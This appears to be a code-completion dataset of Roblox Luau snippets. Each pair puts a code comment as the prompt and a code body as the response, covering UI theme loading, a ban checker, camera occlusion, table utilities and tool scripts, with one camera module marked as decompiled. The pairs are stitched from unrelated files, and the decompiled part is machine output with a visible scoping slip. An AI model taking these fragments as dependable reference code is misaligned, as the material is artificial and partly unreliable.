				warn("Error while loading module", module.Name, tostring(func))
			end
		end;

		GetNew = function(theme, name)
			local foundConfigs = {}
			local endConfig = {}
			local endConfValues = {}

			local confFolder = Instance.new("Folder")
			local debounce = false

			local function func(theme, name, depth)
				local depth = (depth or 11) - 1

				local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
				if folder then
					local baseValue = folder:FindFirstChild("Base_Theme")
					local baseTheme = baseValue and baseValue.Value
					local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)

					if foundGUI then
						local config = foundGUI:FindFirstChild("Config")
						table.insert(foundConfigs, {
							Theme = theme;
							Folder = folder;
							Name = name;
							Found = foundGUI;
							Config = config;
							isModule = foundGUI:IsA("ModuleScript");
						})

						if config then
							baseValue = config:FindFirstChild("BaseTheme") or baseValue
							baseTheme = baseValue and baseValue.Value
						end
					end
					if baseTheme and depth > 0 then
						if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then
							func(UI.DefaultTheme, name, depth)
						else
							debounce = true
							func(baseTheme, name, depth)
						end
					end
				end
			end

			--// Find GUI and all default versions under it
			func(theme, name)
			confFolder.Name = "Config"

			--// Create the final config for the found GUI.

			if #foundConfigs > 0 then
				--// Combine all configs found in order  to build full config (in order of closest from target gui to furthest)
				for i,v in foundConfigs do
					if v.Config then
						for k,m in v.Config:GetChildren() do
							if not endConfig[m.Name] then
								if string.sub(m.Name, 1, 5) == "NoEnv" then
									endConfig["Code"] = m
								end

								endConfig[m.Name] = m
							end
						end
					end
				end

				--// Load all config values into the new Config folder
				for i,v in endConfig do
					v:Clone().Parent = confFolder;
				end

				--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
				if foundConfigs[1].isModule then
					return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder
				elseif not endConfig.Code then
					warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236")
				end

				--// Get rid of an old Config folder and throw the new combination Config folder in
				local new = foundConfigs[1].Found:Clone()
				local oldFolder = new:FindFirstChild'Config'

				if oldFolder then oldFolder:Destroy() end

				confFolder.Parent = new
				return new, foundConfigs[1].Folder, confFolder
			end
		end;

		Make = function(name, data, themeData)
			data = data or {}
			themeData = themeData or Variables.LastServerTheme or {Desktop = "Default"; Mobile = "Mobilius"}

			local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
			local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default

			--// Check for any childs with 'NoEnv' and trigger NoEnv
			--// Enforce NoEnv to ensure theme is using it.
			if not data.NoEnv and folder:FindFirstChild("NoEnv") then
				data.NoEnv = true
				data.modNoEnv = true
			end

			--// folder2
			local newGui, _, foundConf = UI.GetNew(theme, name)

			if newGui then
				local isModule = newGui:IsA("ModuleScript")
				local conf = newGui:FindFirstChild("Config")
				local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier"))

				if mod and not data.modNoEnv then
					data.modNoEnv = string.sub(mod.Name, 1, 5) == "NoEnv"
				end

				if isModule then
					return UI.LoadModule(newGui, data, {
						script = newGui;
					})
				elseif conf and foundConf and foundConf ~= true then
					local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code")

					if not data.NoEnv and code then
						data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
					end

					local mult = foundConf.AllowMultiple
					--local keep = foundConf.CanKeepAlive

					local allowMult = mult and mult.Value or true
					local found, num = UI.Get(name)

					if not found or ((num and num>0) and allowMult) then
						local gTable,gIndex = UI.Register(newGui)

						if folder:IsA("ModuleScript") then
							local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" or folder:FindFirstChild("NoEnv")

							local newEnv = GetEnv{{
								script = folder,
								gTable = gTable
							}}

							local ran, func = pcall(require, folder)
							local rets = {
								--// NoEnv temporarily disabled ~ Expertcoderz
								--[[if folderNoEnv then pcall(func, newGui, gTable, data, newEnv) else]] pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv)
							}

							local ran, ret = rets[1], rets[2]
							if ret ~= nil then
								if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
									code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code

									if not data.NoEnv and code then
										data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
									end
								else
									return ret
								end
							end
						end

						newGui.Parent = Variables.GUIHolder
						newGui.Name = Functions.GetRandom()

						data.gIndex = gIndex
						data.gTable = gTable

						code.Parent = conf
						code.Name = name

						if mod then
							UI.LoadModule(mod, data, {
								script = mod;
								gTable = gTable;
								Data = data;
								GUI = newGui;
								isModifier = true;
							})
						end

						return UI.LoadModule(code, data, {
							script = code;
							gTable = gTable;
							Data = data;
							GUI = newGui;
							Theme = theme;
							ThemeFolder = folder;
							isCode = true;
						})
					end
				end
			else
				print("GUI", name, "not found")
			end
		end;

		Get = function(obj,ignore,returnOne)
			local found = {}
			local num = 0
			if obj then
				for ind,g in client.GUIs do
					if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
						if type(obj) == "string" then
							if g.Name == obj then
								found[ind] = g
								num = num+1
								if returnOne then return g end
							end
						elseif type(obj) == "userdata" then
							if service.RawEqual(g.Object, obj) then
								found[ind] = g
								num = num+1
								if returnOne then return g end
							end
						elseif type(obj) == "boolean" and obj == true then
							found[ind] = g
							num = num+1
							if returnOne then return g end
						end
					end
				end
			end
			if num<1 then
				return false
			else
				return found,num
			end
		end;

		Remove = function(name, ignore)
			local gui = UI.Get(name, ignore)
			if gui then
				for i,v in gui do
					v.Destroy()
				end
			end
		end;

		Register = function(gui, data)
			local gIndex = Functions.GetRandom()
			local gTable;gTable = {
				Object = gui,
				Config = gui:FindFirstChild'Config';
				Name = gui.Name,
				Events = {},
				Class = gui.ClassName,
				Index = gIndex,
				Active = true,
				Ready = function()
					if gTable.Config then gTable.Config.Parent = nil end
					local ran,err = pcall(function()
						local obj = gTable.Object;
						if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
							if obj.DisplayOrder == 0 then
								obj.DisplayOrder = 90000
							end

							obj.Enabled = true
							obj.Parent = service.PlayerGui
						else
							obj.Parent = UI.GetHolder()
						end
					end);

					if ran then
						gTable.Active = true
					else
						warn("Something happened while trying to set the parent of", gTable.Name)
						warn(err)

						gTable:Destroy()
					end
				end,

				BindEvent = function(event, func)
					local signal = event:Connect(func)
					local origDisc = signal.Disconnect
					local Events = gTable.Events
					local disc = function()
						origDisc(signal)
						for i,v in Events do
							if v.Signal == signal then
								table.remove(Events, i)
							end
						end
					end

					table.insert(Events, {
						Signal = signal;
						Remove = disc
					})

					return {
						Disconnect = disc;
						disconnect = disc;
						wait = service.CheckProperty(signal, "wait") and signal.wait
					}, signal
				end,

				ClearEvents = function()
					for i,v in gTable.Events do
						v:Remove()
					end
				end,

				Destroy = function()
					pcall(function()
						if gTable.CustomDestroy then
							gTable.CustomDestroy()
						else
							service.UnWrap(gTable.Object):Destroy()
						end
					end)
					gTable.Destroyed = true
					gTable.Active = false
					client.GUIs[gIndex] = nil
					gTable.ClearEvents()
				end,

				UnRegister = function()
					client.GUIs[gIndex] = nil
					if gTable.AncestryEvent then
						gTable.AncestryEvent:Disconnect()
					end
				end,

				Register = function(tab,new)
					if not new then new = tab end

					new:SetSpecial("Destroy", gTable.Destroy)
					gTable.Object = service.Wrap(new)
					gTable.Class = new.ClassName

					if gTable.AncestryEvent then
						gTable.AncestryEvent:Disconnect()
					end

					gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
						if client.GUIs[gIndex] and rawequal(c, gTable.Object) then
							if gTable.Class == "TextLabel" and parent == service.PlayerGui then
								task.wait()
								gTable.Object.Parent = UI.GetHolder()
							elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then
								gTable:Destroy()
							elseif rawequal(c, gTable.Object) and parent ~= nil then
								gTable.Active = true
								client.GUIs[gIndex] = gTable
							end
						end
					end)
					client.GUIs[gIndex] = gTable
				end
			}

			if data then
				for i,v in data do
					gTable[i] = v
				end
			end

			gui.Name = Functions.GetRandom()
			gTable:Register(gui)

			return gTable,gIndex
		end
	}

	client.UI.RegisterGui = client.UI.Register
	client.UI.GetGui = client.UI.Get
	client.UI.PrepareGui = client.UI.Prepare
	client.UI.MakeGui = client.UI.Make
end


Prompt: -- ROBLOX deviation: we don't use the Error polyfill because we encounter an error with TestEZ

Response:
function ensureMockOrSpy(
	received: any,
	matcherName: string,
	expectedArgument: string,
	options: JestMatcherUtils.MatcherHintOptions
)
	if not isMock(received) and not isSpy(received) then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, expectedArgument, options),
					("%s value must be a mock or spy function"):format(RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end
end


Prompt: -- ANimation

Response:
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then
		Debounce = 2
		Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then

				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else

				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == false then
		Debounce = 3
		plr.Character.HumanoidRootPart.Anchored = false
		local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		for i = 1,10 do
			wait(0.1)
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		end
		wait(0.3)
		Track2:Stop()
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)


Prompt: -- Returns a string key to use in order to access a player's data store

Response:
local function getKey(player)
	return tostring(player.UserId)
end

local function plural(n)
	return n == 1 and "" or "s"
end

local function getTimeString(seconds)
	local minutes = math.floor(seconds / 60)
	seconds = seconds % 60
	local hours = math.floor(minutes / 60)
	minutes = minutes % 60
	local days = math.floor(hours / 24)
	hours = hours % 24
	local s
	if days > 0 then
		s = days .. " day" .. plural(days)
		if hours > 0 then
			s = s .. ", " .. hours .. " hour" .. plural(hours)
		end
	elseif hours > 0 then
		s = hours .. " hour" .. plural(hours)
		if minutes > 0 then
			s = s .. ", " .. minutes .. " minute" .. plural(minutes)
		end
	elseif minutes > 0 then
		s = minutes .. " minute" .. plural(minutes)
		if seconds > 0 then
			s = s .. ", " .. seconds .. " second" .. plural(seconds)
		end
	else
		s = seconds .. " second" .. plural(seconds)
	end
	return s
end

local function processPayload(player, payload)
	local now = os.time()
	if payload["status"] == "banned" then
		local kickMessage = ""
		if type(payload["expires"]) == "number" then
			if now >= payload["expires"] then
				-- Ban expired
				return
			end
			local seconds = math.max(0, payload["expires"] - now)
			-- Double check
			if seconds <= 0 then return end
			kickMessage = MESSAGE_BAN:gsub("%%TIME%%", getTimeString(seconds))
		else
			kickMessage = MESSAGE_BAN_NO_EXPIRE
		end
		if type(payload["reason"]) == "string" then
			kickMessage = kickMessage .. REASON:gsub("%%REASON%%", payload["reason"])
		end
		script.KickingBannedPlayer:Fire(player, payload)
		-- Attempt to increment the number of "kicks"
		spawn(function ()
			pcall(function ()
				dsPlayerBans:UpdateAsync(getKey(player), function (oldPayload)
					if not oldPayload then return nil end
					-- Shallow copy
					local newPayload = {}
					for k, v in pairs(oldPayload) do newPayload[k] = v end
					-- Increment # of kicsk
					newPayload["kicks"] = (newPayload["kicks"] or 0) + 1
					newPayload["lastKick"] = now
					return newPayload
				end)
			end)
		end)
		--local Controls = require(player.PlayerScripts:WaitForChild("PlayerModule")):GetControls()---GetControls

		--Controls:Disable()
		wait(3)
		player.PlayerGui.MainUI.Banished.LocalScript.Disabled = false
		player.PlayerGui.MainUI.Banished.Banned.Visible = true
	end
end

local function onPlayerAdded(player)
	local payload
	pcall(function () payload = dsPlayerBans:GetAsync(getKey(player)) end)
	if type(payload) == "table" then
		processPayload(player, payload)
	else
		-- No bans
	end
end

Players.PlayerAdded:connect(onPlayerAdded)
for _, player in pairs(Players:GetPlayers()) do
	onPlayerAdded(player)
end


Prompt:
--[=[
	Returns the full path for the datastore
	@return string
]=]

Response:
function DataStore:GetFullPath()
	return ("RobloxDataStore@%s"):format(self._key)
end


Prompt: -- Want to turn off Invisicam? Be sure to call this after.

Response:
function Invisicam:Cleanup()
	for hit, originalFade in pairs(self.savedHits) do
		hit.LocalTransparencyModifier = originalFade
	end
end

function Invisicam:Update(dt: number, desiredCameraCFrame: CFrame, desiredCameraFocus: CFrame): (CFrame, CFrame)
	-- Bail if there is no Character
	if not self.enabled or not self.char then
		return desiredCameraCFrame, desiredCameraFocus
	end

	self.camera = game.Workspace.CurrentCamera

	-- TODO: Move this to a GetHumanoidRootPart helper, probably combine with CheckTorsoReference
	-- Make sure we still have a HumanoidRootPart
	if not self.humanoidRootPart then
		local humanoid = self.char:FindFirstChildOfClass("Humanoid")
		if humanoid and humanoid.RootPart then
			self.humanoidRootPart = humanoid.RootPart
		else
			-- Not set up with Humanoid? Try and see if there's one in the Character at all:
			self.humanoidRootPart = self.char:FindFirstChild("HumanoidRootPart")
			if not self.humanoidRootPart then
				-- Bail out, since we're relying on HumanoidRootPart existing
				return desiredCameraCFrame, desiredCameraFocus
			end
		end

		-- TODO: Replace this with something more sensible
		local ancestryChangedConn
		ancestryChangedConn = self.humanoidRootPart.AncestryChanged:Connect(function(child, parent)
			if child == self.humanoidRootPart and not parent then
				self.humanoidRootPart = nil
				if ancestryChangedConn and ancestryChangedConn.Connected then
					ancestryChangedConn:Disconnect()
					ancestryChangedConn = nil
				end
			end
		end)
	end

	if not self.torsoPart then
		self:CheckTorsoReference()
		if not self.torsoPart then
			-- Bail out, since we're relying on Torso existing, should never happen since we fall back to using HumanoidRootPart as torso
			return desiredCameraCFrame, desiredCameraFocus
		end
	end

	-- Make a list of world points to raycast to
	local castPoints = {}
	self.behaviorFunction(self, castPoints)

	-- Cast to get a list of objects between the camera and the cast points
	local currentHits = {}
	local ignoreList = {self.char}
	local function add(hit)
		currentHits[hit] = true
		if not self.savedHits[hit] then
			self.savedHits[hit] = hit.LocalTransparencyModifier
		end
	end

	local hitParts
	local hitPartCount = 0

	-- Hash table to treat head-ray-hit parts differently than the rest of the hit parts hit by other rays
	-- head/torso ray hit parts will be more transparent than peripheral parts when USE_STACKING_TRANSPARENCY is enabled
	local headTorsoRayHitParts = {}

	local perPartTransparencyHeadTorsoHits = TARGET_TRANSPARENCY
	local perPartTransparencyOtherHits = TARGET_TRANSPARENCY

	if USE_STACKING_TRANSPARENCY then

		-- This first call uses head and torso rays to find out how many parts are stacked up
		-- for the purpose of calculating required per-part transparency
		local headPoint = self.headPart and self.headPart.CFrame.p or castPoints[1]
		local torsoPoint = self.torsoPart and self.torsoPart.CFrame.p or castPoints[2]
		hitParts = self.camera:GetPartsObscuringTarget({headPoint, torsoPoint}, ignoreList)

		-- Count how many things the sample rays passed through, including decals. This should only
		-- count decals facing the camera, but GetPartsObscuringTarget does not return surface normals,
		-- so my compromise for now is to just let any decal increase the part count by 1. Only one
		-- decal per part will be considered.
		for i = 1, #hitParts do
			local hitPart = hitParts[i]
			hitPartCount = hitPartCount + 1 -- count the part itself
			headTorsoRayHitParts[hitPart] = true
			for _, child in pairs(hitPart:GetChildren()) do
				if child:IsA('Decal') or child:IsA('Texture') then
					hitPartCount = hitPartCount + 1 -- count first decal hit, then break
					break
				end
			end
		end

		if (hitPartCount > 0) then
			perPartTransparencyHeadTorsoHits = math.pow( ((0.5 * TARGET_TRANSPARENCY) + (0.5 * TARGET_TRANSPARENCY / hitPartCount)), 1 / hitPartCount )
			perPartTransparencyOtherHits = math.pow( ((0.5 * TARGET_TRANSPARENCY_PERIPHERAL) + (0.5 * TARGET_TRANSPARENCY_PERIPHERAL / hitPartCount)), 1 / hitPartCount )
		end
	end

	-- Now get all the parts hit by all the rays
	hitParts = self.camera:GetPartsObscuringTarget(castPoints, ignoreList)

	local partTargetTransparency = {}

	-- Include decals and textures
	for i = 1, #hitParts do
		local hitPart = hitParts[i]

		partTargetTransparency[hitPart] =headTorsoRayHitParts[hitPart] and perPartTransparencyHeadTorsoHits or perPartTransparencyOtherHits

		-- If the part is not already as transparent or more transparent than what invisicam requires, add it to the list of
		-- parts to be modified by invisicam
		if hitPart.Transparency < partTargetTransparency[hitPart] then
			add(hitPart)
		end

		-- Check all decals and textures on the part
		for _, child in pairs(hitPart:GetChildren()) do
			if child:IsA('Decal') or child:IsA('Texture') then
				if (child.Transparency < partTargetTransparency[hitPart]) then
					partTargetTransparency[child] = partTargetTransparency[hitPart]
					add(child)
				end
			end
		end
	end

	-- Invisibilize objects that are in the way, restore those that aren't anymore
	for hitPart, originalLTM in pairs(self.savedHits) do
		if currentHits[hitPart] then
			-- LocalTransparencyModifier gets whatever value is required to print the part's total transparency to equal perPartTransparency
			hitPart.LocalTransparencyModifier = (hitPart.Transparency < 1) and ((partTargetTransparency[hitPart] - hitPart.Transparency) / (1.0 - hitPart.Transparency)) or 0
		else -- Restore original pre-invisicam value of LTM
			hitPart.LocalTransparencyModifier = originalLTM
			self.savedHits[hitPart] = nil
		end
	end

	-- Invisicam does not change the camera values
	return desiredCameraCFrame, desiredCameraFocus
end

return Invisicam


Prompt:
--[=[
	@within TableUtil
	@function Zip
	@param ... table
	@return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?)

	Returns an iterator that can scan through multiple tables at the same time side-by-side, matching
	against shared keys/indices.

	```lua
	local t1 = {10, 20, 30, 40, 50}
	local t2 = {60, 70, 80, 90, 100}

	for key,values in TableUtil.Zip(t1, t2) do
		print(key, values)
	end

	--[[
		Outputs:
		1 {10, 60}
		2 {20, 70}
		3 {30, 80}
		4 {40, 90}
		5 {50, 100}
	--]]
	```
]=]

Response:
local function Zip(...: { [any]: any }): ((t: { any }, k: any) -> (any, any), { any }, any)
	assert(select("#", ...) > 0, "Must supply at least 1 table")

	local function ZipIteratorArray(all: {any}, k: number): (number?, {any}?)
		k += 1

		local values = {}

		for i, t in all do
			local v = t[k]

			if not v then
				return nil, nil
			end

			values[i] = v
		end
		return k, values
	end

	local function ZipIteratorMap(all: { [any]: any }, k: any): (number?, { any }?)
		local values = {}

		for i, t in all do
			local v = next(t, k)

			if not v then
				return nil, nil
			end

			values[i] = v
		end

		return k, values
	end

	local all = {...}

	if #all[1] > 0 then
		return ZipIteratorArray, all, 0
	else
		return ZipIteratorMap, all, nil
	end
end


Prompt: -- Loop forever

Response:
while true do
	if isOnVar.Value then
		local minsAfterMidnight = (USE_CUSTOM_TIME) and minsAfterMidnightVar.Value or math.floor(lightingService:GetMinutesAfterMidnight())
		minsAfterMidnightVar.Value = minsAfterMidnight
		TryUpdate(minsAfterMidnight)

		if not prevIsOn then
			prevIsOn = true
			screen.Visible = true
		end
	else if prevIsOn then
			prevIsOn = false
			screen.Visible = false
		end
	end

	wait(msPerUpdateVar.Value/1000)
end


Prompt:
--[[
Do not erase these words!
This clickable door was made by Wirodeu
Profile page: http://www.roblox.com/User.aspx?ID=145417
Blog: www.robloxjuice.wordpress.com
--]]


Prompt: -- FUNCTIONS --

Response:
local function checkHolding()

end

Tool.Equipped:Connect(function()
	Equipped = true

	Char = Tool.Parent
	HumRP = Char:WaitForChild("HumanoidRootPart")
	Humanoid = Char:WaitForChild("Humanoid")

	Animations = {
		["Z"] = Humanoid:LoadAnimation(script.Animations.Z),
		["X"] = Humanoid:LoadAnimation(script.Animations.X),
	}

	if not loopConnection then
		loopConnection = game:GetService("RunService").RenderStepped:Connect(function()
			if UIS:IsKeyDown(Enum.KeyCode.Z) then
				if Char:FindFirstChild("Disabled") then return end
				if not Z then
					if Equipped and not CS:HasTag(Char, "Z") and not CS:HasTag(Char, "Busy") then
						SkillsHandler:FireServer("Skill", Tool.Name, "Hold", "Z")
					end
				end
				Z = true
			else
				if Z then
					isHolding = false
					SkillsHandler:FireServer("Skill", Tool.Name, "Release", "Z", Mouse:GetHit().Position, Char.HumanoidRootPart.CFrame)
					Animations.Z:AdjustSpeed(1)
				end
				Z = false
			end

			if UIS:IsKeyDown(Enum.KeyCode.X) then
				if Char:FindFirstChild("Disabled") then return end
				if not X then
					if Equipped and not CS:HasTag(Char, "X") and not CS:HasTag(Char, "Busy") then
						SkillsHandler:FireServer("Skill", Tool.Name, "Hold", "X")
					end
				end
				X = true
			else
				if X then
					isHolding = false
					SkillsHandler:FireServer("Skill", Tool.Name, "Release", "X", Mouse:GetHit().Position)
					Animations.X:AdjustSpeed(1)
				end
				X = false
			end
		end)
	end

	if not holdingConnection then
		holdingConnection = Holding.Changed:Connect(function()
			coroutine.wrap(function()
				if Holding.Value ~= "None" then
					HumRP.Anchored = true
					isHolding = true
					if Holding.Value == "Z" then
						Animations.Z:Play()
						Animations.Z:GetMarkerReachedSignal("Idle"):Connect(function()
							if isHolding == true then
								Animations.Z:AdjustSpeed(0)
							end
						end)

						repeat
							HumRP.CFrame = CFrame.lookAt(HumRP.Position, Mouse:GetHit().Position)
							task.wait()
						until Holding.Value ~= "Z"
					elseif Holding.Value == "X" then
						Animations.X:Play()
						Animations.X:GetMarkerReachedSignal("Idle"):Connect(function()
							if isHolding == true then
								Animations.X:AdjustSpeed(0)
							end
						end)

						repeat
							HumRP.CFrame = CFrame.lookAt(HumRP.Position, Vector3.new(Mouse:GetHit().Position.X, HumRP.Position.Y, Mouse:GetHit().Position.Z))
							task.wait()
						until Holding.Value ~= "X"
					end
				else
					HumRP.Anchored = false
				end
			end)()
		end)
	end
end)

Tool.Unequipped:Connect(function()
	Equipped = false

	if loopConnection ~= nil then
		loopConnection:Disconnect()
		loopConnection = nil
	end

	if holdingConnection ~= nil then
		holdingConnection:Disconnect()
		holdingConnection = nil
	end
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(script.Parent:WaitForChild("CameraUtils"));
local l__Players__2 = game:GetService("Players");
local l__RunService__3 = game:GetService("RunService");
local u1 = Vector3.new(0, 0, 0);
local v4 = require(script.Parent:WaitForChild("BaseOcclusion"));
local v5 = setmetatable({}, v4);
v5.__index = v5;
local u2 = {
	LIMBS = 2,
	MOVEMENT = 3,
	CORNERS = 4,
	CIRCLE1 = 5,
	CIRCLE2 = 6,
	LIMBMOVE = 7,
	SMART_CIRCLE = 8,
	CHAR_OUTLINE = 9
};
function v5.new()
	local v6 = setmetatable(v4.new(), v5);
	v6.char = nil;
	v6.humanoidRootPart = nil;
	v6.torsoPart = nil;
	v6.headPart = nil;
	v6.childAddedConn = nil;
	v6.childRemovedConn = nil;
	v6.behaviors = {};
	v6.behaviors[u2.LIMBS] = v6.LimbBehavior;
	v6.behaviors[u2.MOVEMENT] = v6.MoveBehavior;
	v6.behaviors[u2.CORNERS] = v6.CornerBehavior;
	v6.behaviors[u2.CIRCLE1] = v6.CircleBehavior;
	v6.behaviors[u2.CIRCLE2] = v6.CircleBehavior;
	v6.behaviors[u2.LIMBMOVE] = v6.LimbMoveBehavior;
	v6.behaviors[u2.SMART_CIRCLE] = v6.SmartCircleBehavior;
	v6.behaviors[u2.CHAR_OUTLINE] = v6.CharacterOutlineBehavior;
	v6.mode = u2.SMART_CIRCLE;
	v6.behaviorFunction = v6.SmartCircleBehavior;
	v6.savedHits = {};
	v6.trackedLimbs = {};
	v6.camera = game.Workspace.CurrentCamera;
	v6.enabled = false;
	return v6;
end;
function v5.Enable(p1, p2)
	p1.enabled = p2;
	if not p2 then
		p1:Cleanup();
	end;
end;
function v5.GetOcclusionMode(p3)
	return Enum.DevCameraOcclusionMode.Invisicam;
end;
function v5.LimbBehavior(p4, p5)
	for v7, v8 in pairs(p4.trackedLimbs) do
		p5[#p5 + 1] = v7.Position;
	end;
end;
function v5.MoveBehavior(p6, p7)
	for v9 = 1, 3 do
		local l__Velocity__10 = p6.humanoidRootPart.Velocity;
		p7[#p7 + 1] = p6.humanoidRootPart.Position + (v9 - 1) * p6.humanoidRootPart.CFrame.lookVector * (Vector3.new(l__Velocity__10.X, 0, l__Velocity__10.Z).Magnitude / 2);
	end;
end;
local u3 = { Vector3.new(1, 1, -1), Vector3.new(1, -1, -1), Vector3.new(-1, -1, -1), Vector3.new(-1, 1, -1) };
function v5.CornerBehavior(p8, p9)
	local l__CFrame__11 = p8.humanoidRootPart.CFrame;
	local l__p__12 = l__CFrame__11.p;
	local v13 = l__CFrame__11 - l__p__12;
	local v14 = p8.char:GetExtentsSize() / 2;
	p9[#p9 + 1] = l__p__12;
	for v15 = 1, #u3 do
		p9[#p9 + 1] = l__p__12 + v13 * (v14 * u3[v15]);
	end;
end;
function v5.CircleBehavior(p10, p11)
	if p10.mode == u2.CIRCLE1 then
		local v16 = p10.humanoidRootPart.CFrame;
	else
		local l__CoordinateFrame__17 = p10.camera.CoordinateFrame;
		v16 = l__CoordinateFrame__17 - l__CoordinateFrame__17.p + p10.humanoidRootPart.Position;
	end;
	p11[#p11 + 1] = v16.p;
	for v18 = 0, 9 do
		local v19 = 2 * math.pi / 10 * v18;
		p11[#p11 + 1] = v16 * (3 * Vector3.new(math.cos(v19), math.sin(v19), 0));
	end;
end;
function v5.LimbMoveBehavior(p12, p13)
	p12:LimbBehavior(p13);
	p12:MoveBehavior(p13);
end;
function v5.CharacterOutlineBehavior(p14, p15)
	local l__unit__20 = p14.torsoPart.CFrame.upVector.unit;
	local l__unit__21 = p14.torsoPart.CFrame.rightVector.unit;
	p15[#p15 + 1] = p14.torsoPart.CFrame.p;
	p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__20;
	p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__20;
	p15[#p15 + 1] = p14.torsoPart.CFrame.p + l__unit__21;
	p15[#p15 + 1] = p14.torsoPart.CFrame.p - l__unit__21;
	if p14.headPart then
		p15[#p15 + 1] = p14.headPart.CFrame.p;
	end;
	local v22 = CFrame.new(u1, Vector3.new(p14.camera.CoordinateFrame.lookVector.X, 0, p14.camera.CoordinateFrame.lookVector.Z));
	local v23 = p14.torsoPart and p14.torsoPart.Position or p14.humanoidRootPart.Position;
	local v24 = { p14.torsoPart };
	if p14.headPart then
		v24[#v24 + 1] = p14.headPart;
	end;
	for v25 = 1, 24 do
		local v26 = 2 * math.pi * v25 / 24;
		local v27 = v22 * (3 * Vector3.new(math.cos(v26), math.sin(v26), 0));
		local v28 = Vector3.new(v27.X, math.max(v27.Y, -2.25), v27.Z);
		local v29, v30 = game.Workspace:FindPartOnRayWithWhitelist(Ray.new(v23 + v28, -3 * v28), v24, false, false);
		if v29 then
			p15[#p15 + 1] = v30 + 0.2 * (v23 - v30).unit;
		end;
	end;
end;
local u4 = 2 * math.pi / 24;
local function u5(p16, p17, p18, p19)
	local v31 = p17:Cross(p19);
	local v32 = p18.x - p16.x;
	local v33 = p18.y - p16.y;
	local v34 = p18.z - p16.z;
	local l__y__35 = p17.y;
	local v36 = -p19.y;
	local l__y__37 = v31.y;
	local l__z__38 = p17.z;
	local v39 = -p19.z;
	local l__z__40 = v31.z;
	local v41 = p17.x * (v36 * l__z__40 - l__y__37 * v39) - -p19.x * (l__y__35 * l__z__40 - l__y__37 * l__z__38) + v31.x * (l__y__35 * v39 - v36 * l__z__38);
	if v41 == 0 then
		return u1;
	end;
	local v42 = -p19.y;
	local l__y__43 = v31.y;
	local v44 = -p19.z;
	local l__z__45 = v31.z;
	local l__y__46 = p17.y;
	local l__y__47 = v31.y;
	local l__z__48 = p17.z;
	local l__z__49 = v31.z;
	local v50 = p16 + (v32 * (v42 * l__z__45 - l__y__43 * v44) - -p19.x * (v33 * l__z__45 - l__y__43 * v34) + v31.x * (v33 * v44 - v42 * v34)) / v41 * p17;
	local v51 = p18 + (p17.x * (v33 * l__z__49 - l__y__47 * v34) - v32 * (l__y__46 * l__z__49 - l__y__47 * l__z__48) + v31.x * (l__y__46 * v34 - v33 * l__z__48)) / v41 * p19;
	if (v51 - v50).Magnitude < 0.25 then
		return v50 + 0.5 * (v51 - v50);
	end;
	return u1;
end;
function v5.SmartCircleBehavior(p20, p21)
	local l__unit__52 = p20.torsoPart.CFrame.upVector.unit;
	local l__unit__53 = p20.torsoPart.CFrame.rightVector.unit;
	p21[#p21 + 1] = p20.torsoPart.CFrame.p;
	p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__52;
	p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__52;
	p21[#p21 + 1] = p20.torsoPart.CFrame.p + l__unit__53;
	p21[#p21 + 1] = p20.torsoPart.CFrame.p - l__unit__53;
	if p20.headPart then
		p21[#p21 + 1] = p20.headPart.CFrame.p;
	end;
	local v54 = p20.camera.CFrame - p20.camera.CFrame.p;
	local v55 = Vector3.new(0, 0.5, 0) + (p20.torsoPart and p20.torsoPart.Position or p20.humanoidRootPart.Position);
	for v56 = 1, 24 do
		local v57 = u4 * v56 - 0.5 * math.pi;
		local v58 = v55 + v54 * (2.5 * Vector3.new(math.cos(v57), math.sin(v57), 0));
		local v59 = v58 - p20.camera.CFrame.p;
